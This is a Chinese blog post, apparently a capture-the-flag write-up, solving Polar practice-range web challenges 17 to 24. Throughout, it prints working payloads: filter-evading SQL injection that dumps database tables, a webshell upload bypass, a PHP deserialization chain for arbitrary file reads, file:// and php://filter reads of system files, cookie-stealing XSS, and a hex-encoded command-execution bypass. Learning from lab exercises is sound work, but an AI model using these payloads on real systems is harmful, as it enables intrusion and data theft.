今天是2026年8月14号
今天分享的是Polar靶场WEB中等17-24
Polar靶场
17.题目信息:phpurl

附件信息:

附件中的加密是base64编码,解码后得到index.phps:

进入靶场:

访问刚刚解码得到的目录index.phps得到源题目:

分析代码,我们传入的值不能为xxs,但经过url解码后要等于xxs才能拿到flag,我们可以对xxs进行二次url编码,payload到PHP会自动解码一层,到题目又会解码一层得到xxs符合题目条件拿到flag,构造payload:
?sys=%2578%2578%2573
一开始我在index.phps目录下传参没有任何反应,后来我在主页面传参有回显了,这里是一个坑,在主页面传参后拿到flag:

flag:flag{5caecd63b7dca4bcee15d262eb3af4f4}
18.题目信息:search

进入靶场:

让我输入学生ID,我判断这应该是sql注入,我们输入1'试试:

确认sql注入无疑了,测试了几个语句发现题目过滤了空格和一些函数,空格可以用/**/来绕过,函数可以用大小写绕过,构造order by语句测试有几个回显点:
1'/**/order/**/by/**/6# #到6时会报错,可以判断有5个回显点

构造sql语句看看哪些回显点可以显示信息:
1'/**/Union/**/select/**/1,2,3,4,5#

可以看到2和3是可以正常回显的,我们构造sql语句获取库名:
1'/**/Union/**/select/**/1,database(),3,4,5#

得知库名为CTF,构造sql语句获取表名:
1'/**/Union/**/select/**/1,group_concat(Table_Name),3,4,5/**/From/**/Information_Schema.Tables/**/Where/**/Table_Schema='CTF'#

得到两个表Flag和Students,继续构造sql语句获取Flag表里的列:
1'/**/Union/**/select/**/1,group_concat(Column_Name),3,4,5/**/From/**/Information_Schema.Columns/**/Where/**/Table_Name='Flag'#

得到一个Flag列,直接构造sql语句获取Flag列中的字段:
1'/**/Union/**/select/**/1,group_concat(Flag),3,4,5/**/From/**/Flag#

成功拿到flag:flag{Polar_CTF_426891370wxbglbnfwaq}
18.题目信息:file

进入靶场:

题目让用dirsearch扫一下,那我们先扫一下看看:

扫到了两个目录,先不管这些,我们先看看题目,但是带你开始按钮没反应,我们可以打开查看器把disabled="disabled"删掉,或直接在源码中点击/upload.php进入,也可以直接访问/upload.php进入:

进入上传页面:

这里只允许上传图片,我试了上传图片是可以在/upload页面显示出来的,但是上传php文件不会显示,证明非图片文件会被拦截,我们试试图片马抓包改后缀上传:

到/upload页面可以看到成功上传了,证明这题只有前端校验:

然后用蚁剑连接,密码a:

在根目录拿到真正的flag:flag{c99d5a15c74c9oc4a689b58b89ec978e}

19.题目信息:PlayGame

进入靶场:

分析代码,首先要触发 destruct,然后里面的 name 拼接了字符串会触发 PlayGame 类中的 tostring,然后这里的 tostring 会执行 openGame () 这个函数,最后这个函数会读取 gameFile 的值来当作要读取的文件,我们可以为gameFile赋值来达到任意文件读取的目的,构造payload:
<?php
error_reporting(0); #抑制报错
class User{
public $name;
public $age;
public $sex;
public function __toString()
{
return "name:".$this->name."age:".$this->age."sex:".$this->sex;
}
public function setName($name){
$this->name=$name;
}
public function setAge($age){
$this->$age=$age;
}
public function setSex($sex){
$this->$sex=$sex;
}
}
class PlayGame{
public $user;
public $gameFile;
public function openGame(){
return file_get_contents($this->gameFile);
}
public function __destruct()
{
echo $this->user->name."GameOver!";
}
public function __toString(){
return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
}
}
$a=new PlayGame();
$a->gameFile='/flag';
$b=new User();
$b->name=$a;
$c=new PlayGame();
$c->user=$b;
echo serialize($c);
?>
将得到的payload赋给polar[flag.flag(这里要把下划线换成方左括号,因为当参数名出现未闭合的方左括号时会被替换为下划线,并且后面的字符不再做转换),最后在源码中拿到flag:flag{bcbad1a16895974105e8450b8a7b5bf2}

20.题目信息:csdn

进入靶场:

页面一片空白,但是地址栏多出了一串参数:index.php?xxs=https://blog.csdn.net/,在源码中可以看到提示:

我们可以利用题目给的传参点来读取flag,先试试有没有任意文件读取:

可以看到利用file伪协议可以读取/etc/passwd内容,同理,我们也可用它来读取flag,payload:
?xxs=file:/flag.txt #也可以这样写:?xxs=file://flag/flag.txt
成功拿到flag:flag{4787370fb09bd230f863731d2ffbff6a}
21.题目信息:Dragon

进入靶场:

试了sql注入发现没有任何用,试试xss:
<script>alert('xss');</script>

弹了一个有点东西但不多,我们看看别的地方:

发现了flag,那这题肯定是想让我们用xss来获取cookie,构造语句:
<img src=x onerror=alert(document.cookie)>

成功弹出了flag,解码后得到flag:flag{72077a551386b19fb1aea77814cd41af}
22.题目信息:tnl

进入靶场:

我们只输入一个单引号'会弹报错信息:

源码中有一个提示:

我尝试了大量语句和符号发现报错都是一样的,这很不对劲,又尝试了别的漏洞都没用,根据提示应该是和index有关,于是我尝试了PHP伪协议成功读到了index文件,不能加.php否则无回显,得到index的base64编码:

解码后看到源码发现报错信息完全是个坑,这题不是sql注入而是文件包含:

源码:
<?php
error_reporting(0);
@$file = $_POST['twothree'];
if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}
?>
可以看到报错信息是伪造的,分析一下代码,我们输入的参数必须要带1或2,而且我们输入的参数进入include后会被加上.php这就是我们为什么伪协议读不到index.php的原因,我又尝试读取flag,发现怎么读都读不到,后来在前面加上index才读到,也不知道是为什么,payload:
php://filter/read=convert.base64-encode/index/resource=flag
拿到base64编码:

解码后得到flag:flag{29dba9019e40d75a5053b15f4f2906e1}

24.题目信息:你知道sys还能这样玩吗

进入靶场:

直接告诉我们无权限,用dirsearch没有扫到东西,题目名为“你知道sys还能这样玩吗”,试试访问sys.php目录:

成功拿到题目,分析代码,题目过滤了很多命令和一些符号,命令可以用反斜杠\绕过,先看看根目录:

发现flag,但不能直接读,因为点号被过滤了,所以我们不能再用常规的方法来绕过了,我们可以用进制转换来绕过,使用命令行模式运行PHP代码:php -r,然后再后面输入要执行的php代码来达到绕过的目的,可以使用hex2bin函数,它的作用是:把十六进制字符串,还原回原始二进制字节,我们把cat /flag.txt转成十六进制,然后用system执行命令hex2bin('十六进制')来获取flag,构造payload:
cmd=php -r 'system(hex2bin("636174202f666c61672e747874"));'
成功拿到flag:flag{196b0f14eba66e10fba74dbf9e99c22f}

今天就到这里。
“沉下心啃每一道题,漏洞藏在细节里,慢慢来总会有收获。”
今日做题分享
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法